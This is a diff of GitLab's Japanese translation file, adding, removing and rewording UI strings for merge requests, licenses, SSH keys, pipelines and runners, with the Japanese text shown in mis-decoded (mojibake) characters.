msgstr "ライセンスコンプライアンス"
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -20416,9 +20748,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr "プロジェクトã«å‰²ã‚Šå½“ã¦ã‚‰ã‚ŒãŸãƒãƒªã‚·ãƒ¼ã«æº–æ‹ ã—ã¦ã„ãªã„〠検出ã•ã‚ŒãŸãƒ©ã‚¤ã‚»ãƒ³ã‚¹"
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -20446,15 +20775,15 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr "ライセンスリストã«ã¯ãƒ—ロジェクト内ã§ä½¿ç”¨ã•ã‚Œã¦ã„るライセンスã«é–¢ã™ã‚‹è©³ç´°æƒ…å ±ãŒè¨˜è¼‰ã•ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
+msgstr ""
+
msgid "Licenses|View license details for your project"
msgstr "プロジェクトã®ãƒ©ã‚¤ã‚»ãƒ³ã‚¹è©³ç´°ã‚’表示"
msgid "Limit display of time tracking units to hours."
msgstr "タイムトラッキングã®å˜ä½è¡¨ç¤ºã‚’1時間å˜ä½ã«åˆ¶é™ã™ã‚‹ã€‚"
-msgid "Limit namespaces and projects that can be indexed"
-msgstr "インデックスã§ãã‚‹åå‰ç©ºé–“ã¨ãƒ—ロジェクトを制é™ã™ã‚‹"
-
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
msgstr ""
@@ -20470,6 +20799,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -20684,7 +21016,7 @@ msgstr "MD5"
msgid "MERGED"
msgstr "マージ済ã¿"
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -20765,7 +21097,7 @@ msgstr "ã™ã¹ã¦ã®é€šçŸ¥ã‚’管ç†"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr "OAuth プロãƒã‚¤ãƒ€ã¨ã—㦠GitLab を使用ã§ãるアプリケーションã¨ã€ã‚ãªãŸãŒã‚¢ã‚«ã‚¦ãƒ³ãƒˆã‚’使用ã™ã‚‹ã“ã¨ã‚’許å¯ã™ã‚‹ã‚¢ãƒ—リケーションを管ç†ã—ã¾ã™ã€‚"
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -20978,6 +21310,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
@@ -20996,6 +21331,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr "パーソナルアクセストークンã®æœ€é•·è¨±å®¹å¯¿å‘½(日数)"
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -21203,9 +21541,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -21368,6 +21703,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -21383,6 +21724,9 @@ msgstr ""
msgid "Merge commit message"
msgstr "マージコミットメッセージ"
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr "マージイベント"
@@ -21428,22 +21772,13 @@ msgstr ""
msgid "Merge requests"
msgstr "マージリクエスト"
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr "マージリクエストã¨ã¯ã€ãƒ—ロジェクトã«åŠ ãˆãŸå¤‰æ›´ã‚’æ示ã—ã€ãã®å¤‰æ›´ã«ã¤ã„ã¦ä»–ã®ãƒ¡ãƒ³ãƒãƒ¼ã¨è©±ã—åˆã†ãŸã‚ã®å ´æ‰€ã§ã™"
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr "マージリクエストã¯ã‚»ã‚«ãƒ³ãƒ€ãƒªã‚¸ã‚ªãƒŽãƒ¼ãƒ‰ã§ã¯èª­ã¿å–り専用ã§ã™"
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -21563,6 +21898,18 @@ msgstr "コミット %{linkStart}%{commitDisplay}%{linkEnd} ã®ã‚¹ãƒ¬ãƒƒãƒ‰ã‚’é–
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -22198,6 +22545,9 @@ msgstr "SSH éµã‚’追加"
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr "今後表示ã—ãªã„"
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -22448,9 +22798,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22601,9 +22948,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -22628,6 +22972,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -22830,6 +23177,9 @@ msgstr "æ–°è¦ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
msgid "New milestone"
msgstr "æ–°ã—ã„マイルストーン"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "æ–°ã—ã„パスワード"
@@ -22866,6 +23216,9 @@ msgstr "æ–°ã—ã„ランナー登録トークンを生æˆã—ã¾ã—ãŸï¼"
msgid "New schedule"
msgstr "æ–°è¦ã‚¹ã‚±ã‚¸ãƒ¥ãƒ¼ãƒ«"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "æ–°è¦ã‚¹ãƒ‹ãƒšãƒƒãƒˆ"
@@ -23061,6 +23414,9 @@ msgstr "ファイルãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“。"
msgid "No forks are available to you."
msgstr "ã‚ãªãŸãŒåˆ©ç”¨å¯èƒ½ãªãƒ•ã‚©ãƒ¼ã‚¯ã¯ã‚ã‚Šã¾ã›ã‚“。"
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23109,9 +23465,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "マージリクエストã¯è¦‹ã¤ã‹ã‚Šã¾ã›ã‚“ã§ã—ãŸ"
@@ -23154,6 +23516,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "パブリック グループãŒã‚ã‚Šã¾ã›ã‚“"
@@ -23175,6 +23540,9 @@ msgstr "Runner ãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "No schedules"
msgstr "スケジュールãªã—"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23269,6 +23637,9 @@ msgstr "ä¿è­·ãƒ–ランãƒã§ã¯åˆ©ç”¨ã§ãã¾ã›ã‚“"
msgid "Not confidential"
msgstr "機密ã§ã¯ãªã„"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "見ã¤ã‹ã‚Šã¾ã›ã‚“。"
@@ -23480,7 +23851,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23636,7 +24007,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23720,6 +24091,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23810,19 +24187,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -23841,6 +24218,12 @@ msgid "One more item"
msgid_plural "%d more items"
msgstr[0] "ãã®ä»–ã®ã‚¢ã‚¤ãƒ†ãƒ ã®ä»¶æ•° %d"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "アクセスã§ããªã„1ã¤ã¾ãŸã¯è¤‡æ•°ã®ã‚°ãƒ«ãƒ¼ãƒ—"
@@ -23880,6 +24263,9 @@ msgstr "管ç†è€…ã ã‘ãŒãƒ—ロジェクトを削除ã§ãã¾ã™"
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -23901,6 +24287,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -23919,7 +24308,7 @@ msgstr "オープン"
msgid "Open Selection"
msgstr "é¸æŠžæ¸ˆã¿ã®ã‚‚ã®ã‚’é–‹ã"
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24159,6 +24548,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr "パッケージタイプ㌠Maven ã§ãªã‘ã‚Œã°ãªã‚Šã¾ã›ã‚“"
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24514,6 +24906,9 @@ msgstr "ページãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“"
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24610,9 +25005,6 @@ msgstr ""
msgid "Password"
msgstr "パスワード"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "パスワード (オプション)"
@@ -24865,6 +25257,12 @@ msgstr "パイプライン %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "%{dataTitle} ã®ãƒ‘イプライン %{label}"
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25180,9 +25578,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25312,6 +25707,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25327,9 +25725,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr "キー"
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25420,12 +25815,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr "トリガー"
-msgid "Pipeline|Value"
-msgstr "値"
-
msgid "Pipeline|Variables"
msgstr "変数"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr ""
@@ -25564,6 +25959,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr "有効ãªæ•°å€¤ã‚’入力ã—ã¦ãã ã•ã„"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25591,9 +25989,6 @@ msgstr "ã™ã¹ã¦ã®æ—¢å­˜ã®ãƒ—ロジェクトをãƒãƒƒã‚·ãƒ¥åŒ–ã—ãŸã‚¹ãƒˆãƒ¬
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr "ã“ã®ã‚¢ãƒ—リケーション㯠GitLab ãŒæä¾›ã—ã¦ã„ã¾ã›ã‚“。ãã®ãŸã‚ã‚ãªãŸãŒã‚¢ã‚¯ã‚»ã‚¹ã‚’許å¯ã™ã‚‹å‰ã«ãã®èªè¨¼ã‚’確èªã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "åå‰ã‚’入力ã—ã¦ãã ã•ã„"
@@ -25834,7 +26229,7 @@ msgstr "%{key} + C を押ã—ã¦ã‚³ãƒ”ーã™ã‚‹"
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26116,8 +26511,8 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr "プロフィールã«è¡¨ç¤ºã—ãªã„"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "プロファイルã«æ“作ã«é–¢é€£ã—ãŸå€‹äººæƒ…報を表示ã—ãªã„"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "プロフィールを編集"
@@ -26137,13 +26532,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26185,13 +26580,16 @@ msgstr "ユーザーåãŒæ­£ã—ãã‚ã‚Šã¾ã›ã‚“"
msgid "Profiles|Key"
msgstr "キー"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26521,9 +26919,6 @@ msgstr "プロジェクトマイルストーン"
msgid "Project name"
msgstr "プロジェクトå"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26602,6 +26997,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr "ãŠæ°—ã«ã„ã‚Šã‹ã‚‰å¤–ã™"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "プロジェクトã®ä½œæˆåˆ¶é™ã«é”ã—ã¾ã—ãŸ"
@@ -26869,12 +27267,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "マージãƒã‚§ãƒƒã‚¯"
msgid "ProjectSettings|Merge commit"
msgstr "マージコミット"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -26944,6 +27348,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -26968,6 +27375,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr "スニペット"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -26989,6 +27399,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27193,6 +27609,9 @@ msgstr "中程度ã®è„†å¼±æ€§ã®ã‚るプロジェクト"
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr "既知ã®è„†å¼±æ€§ãŒãªã„ã€ã¾ãŸã¯ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ã‚¹ã‚­ãƒ£ãƒ³ãŒæœ‰åŠ¹ã«ãªã£ã¦ã„ãªã„プロジェクト"
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "書ãè¾¼ã¿æ¨©é™ã®ã‚るプロジェクト"
@@ -27400,6 +27819,9 @@ msgstr "昇格"
msgid "Promote issue to an epic"
msgstr "イシューをエピックã«æ˜‡æ ¼"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27418,9 +27840,15 @@ msgstr "プロモートã«å¤±æ•—ã—ã¾ã—㟠- %{message}"
msgid "Promoted issue to an epic."
msgstr "イシューをエピックã«æ˜‡æ ¼æ¸ˆã¿"
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr "昇格ã¯ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã¾ã›ã‚“。"
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27781,6 +28209,9 @@ msgstr "公開 - プロジェクトã¯èªè¨¼ç„¡ã—ã«ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™"
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "公開デプロイキー (%{deploy_keys_count})"
@@ -27943,6 +28374,9 @@ msgstr "%{project_full_name} プロジェクトをå‚ç…§"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "ç·ã‚³ãƒŸãƒƒãƒˆæ•°ï¼š %{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "クォーター"
@@ -28057,6 +28491,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr "手動ã§è¨­å®šã—ãŸPrometheusサーãƒãƒ¼ã‹ã‚‰ã‚¢ãƒ©ãƒ¼ãƒˆã‚’å—ã‘å–る。"
@@ -28157,9 +28597,6 @@ msgstr "インスタンスIDã‚’å†ç”Ÿæˆã™ã‚‹ã¨ã€ä½¿ç”¨ã—ã¦ã„るクライã
msgid "Regex pattern"
msgstr "æ­£è¦è¡¨ç¾ãƒ‘ターン"
-msgid "Region that Elasticsearch is configured"
-msgstr "ElasticsearchãŒè¨­å®šã•ã‚Œã¦ã„る地域"
-
msgid "Register"
msgstr "登録"
@@ -28326,6 +28763,9 @@ msgstr "%{displayReference} を削除"
msgid "Remove Zoom meeting"
msgstr "Zoom ミーティングを削除"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28353,6 +28793,9 @@ msgstr ""
msgid "Remove assignee"
msgstr "担当者ã®å‰Šé™¤"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "ã‚¢ãƒã‚¿ãƒ¼ã‚’削除"
@@ -28362,6 +28805,12 @@ msgstr "カードã®å‰Šé™¤"
msgid "Remove child epic from an epic"
msgstr "エピックã‹ã‚‰å­ã‚¨ãƒ”ックを削除"
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28479,15 +28928,15 @@ msgstr "%{milestone_reference} マイルストーンを削除ã—ã¾ã—ãŸã€‚"
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr "%{reviewer_text} %{reviewer_references} を削除ã—ã¾ã—ãŸã€‚"
-msgid "Removed %{type} with id %{id}"
-msgstr "Id %{id} 㮠%{type} を削除"
-
msgid "Removed all labels."
msgstr "ã™ã¹ã¦ã®ãƒ©ãƒ™ãƒ«ã‚’削除済ã¿"
msgid "Removed an issue from an epic."
msgstr "イシューをエピックã‹ã‚‰å‰Šé™¤ã—ã¾ã—ãŸã€‚"
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "削除ã•ã‚ŒãŸã‚°ãƒ«ãƒ¼ãƒ—ã¯ãƒ¬ã‚¹ãƒˆã‚¢ã§ãã¾ã›ã‚“ï¼"
@@ -28503,6 +28952,9 @@ msgstr "期日を削除ã—ã¾ã—ãŸã€‚"
msgid "Removed time estimate."
msgstr "見ç©æ™‚間を削除ã—ã¾ã—ãŸã€‚"
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28572,6 +29024,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "エピックã®å†é–‹"
@@ -28596,6 +29051,9 @@ msgstr ""
msgid "Replace"
msgstr "ç½®ãæ›ãˆ"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28771,6 +29229,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28792,6 +29253,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28810,6 +29274,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -28888,7 +29355,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -28903,6 +29370,12 @@ msgstr "アクセス権é™ã‚’リクエストã™ã‚‹"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -28924,6 +29397,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr "%{time_ago} ã«ãƒªã‚¯ã‚¨ã‚¹ãƒˆ"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr "è¦æ±‚ã•ã‚ŒãŸãƒ‡ã‚¶ã‚¤ãƒ³ãƒãƒ¼ã‚¸ãƒ§ãƒ³ãŒã‚ã‚Šã¾ã›ã‚“。"
@@ -28963,6 +29439,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "è¦ä»¶ã® %{reference} ãŒè¿½åŠ ã•ã‚Œã¾ã—ãŸ"
@@ -29028,6 +29507,9 @@ msgstr "èªè¨¼ã‚­ãƒ¼ã‚’リセット"
msgid "Reset authorization key?"
msgstr "èªè¨¼ã‚­ãƒ¼ã‚’リセットã—ã¾ã™ã‹ï¼Ÿ"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29342,6 +29824,9 @@ msgstr "Runner ã®ãƒšãƒ¼ã‚¸ã€‚"
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29396,6 +29881,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29408,6 +29896,9 @@ msgstr ""
